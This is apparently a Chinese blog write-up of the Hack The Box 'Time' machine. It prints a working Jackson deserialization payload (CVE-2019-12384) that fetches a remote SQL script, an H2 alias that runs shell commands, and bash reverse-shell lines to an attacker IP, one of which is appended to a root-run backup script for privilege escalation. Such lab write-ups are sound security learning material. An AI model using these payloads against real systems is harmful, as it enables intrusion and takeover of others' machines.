• 【Hack The Box】linux练习-- time


    HTB 学习笔记

    Hack The Box】linux练习-- time


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月24日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
    |   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
    |_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Online JSON parser
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    80

    在这里插入图片描述
    是一个js美化的
    只有一个框可以输入js代码
    在这里插入图片描述
    也就只是给你改成次行风格

    另一种模式尝试一下
    发现报错了

    在这里插入图片描述

    alidation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
    
    • 1

    所以后端使用 Java 来验证 JSON,特别是Jackson

    Jackson CVE-2019-12384

    ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.29/test.sql'"}]
    
    • 1

    这是利用了 JSON 反序列化漏洞。 在这个概念验证中,他们使用的是 H2 数据库驱动程序(在大多数使用数据库的 Java 部署中应该存在,这是最多的)。 该驱动程序可以运行一个 SQL 脚本,该脚本通常用于支持数据库迁移。

    在这里插入图片描述
    确实有效
    接下来就要只做一个恶意sql文件

    CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
            String[] command = {"bash", "-c", cmd};
            java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
            return s.hasNext() ? s.next() : "";  }
    $$;
    CALL SHELLEXEC('ping -c 1 10.10.14.29')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述
    接收到了ping

    CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
            String[] command = {"bash", "-c", cmd};
            java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
            return s.hasNext() ? s.next() : "";  }
    $$;
    CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    shell->root

    下一步就是提权了,我将上传linpeas.sh并且还有pxpy,来分析进程以及一些二进制文件
    在这里插入图片描述
    /usr/bin/timer_backup.sh
    /tmp/hsperfdata_pericles/5951

    该计时器上次运行是在四秒前,将在五秒后再次运行。 在 HTB 机器上,任何少于五分钟的计时器都值得一看。
    在这里插入图片描述看到存在一个计划任务
    我将寻找一下这个文件在哪里

    find /etc/systemd/ -name timer_backup.service
    得到结果
    /etc/systemd/system/timer_backup.service
    查看一下
    cat /etc/systemd/system/timer_backup.service
    
    • 1
    • 2
    • 3
    • 4
    • 5
    [Unit]
    Description=Calls website backup
    Wants=timer_backup.timer
    WantedBy=multi-user.target
    
    [Service]
    ExecStart=/usr/bin/systemctl restart web_backup.service
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    它只是重新启动另一个服务, web_backup.service

    在这里插入图片描述
    并且是root运行

    寻找一下他重启的服务

    find /etc/systemd/ -name web_backup.service
    在这里插入图片描述也是root运行

    查看一下

    [Unit]
    Description=Creates backups of the website
    
    [Service]
    ExecStart=/bin/bash /usr/bin/timer_backup.sh
    
    • 1
    • 2
    • 3
    • 4
    • 5

    他调用了/usr/bin/timer_backup.sh

    在这里插入图片描述这个脚本对我们是可写的
    那就没啥说的了

    echo -e '\nbash -i >& /dev/tcp/10.10.14.8/443 0>&1' >> /usr/bin/timer_backup.sh
    
    • 1

    两个>>添加到最后一行在这里插入图片描述

  • 相关阅读:
    外置USB存储设备让手机如虎添翼!如何将USB存储设备连接到手机
    链表【Linked List】
    Redisson集成SpringBoot
    从Qt源码看event/event handler/eventFilter
    (02)Cartographer源码无死角解析-(02) ROS基础讲解→
    Day626.连接池使用注意事项 -Java业务开发常见错误
    Xline 源码解读(四)—— CURP 状态机引擎
    【好书推荐】《用户画像:平台构建与业务实践》
    传统车企数字化转型如何打通最后一公里?
    还在为sql注入眼花缭乱的过滤而烦恼?一文教您快速找出所有过滤内容
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127999278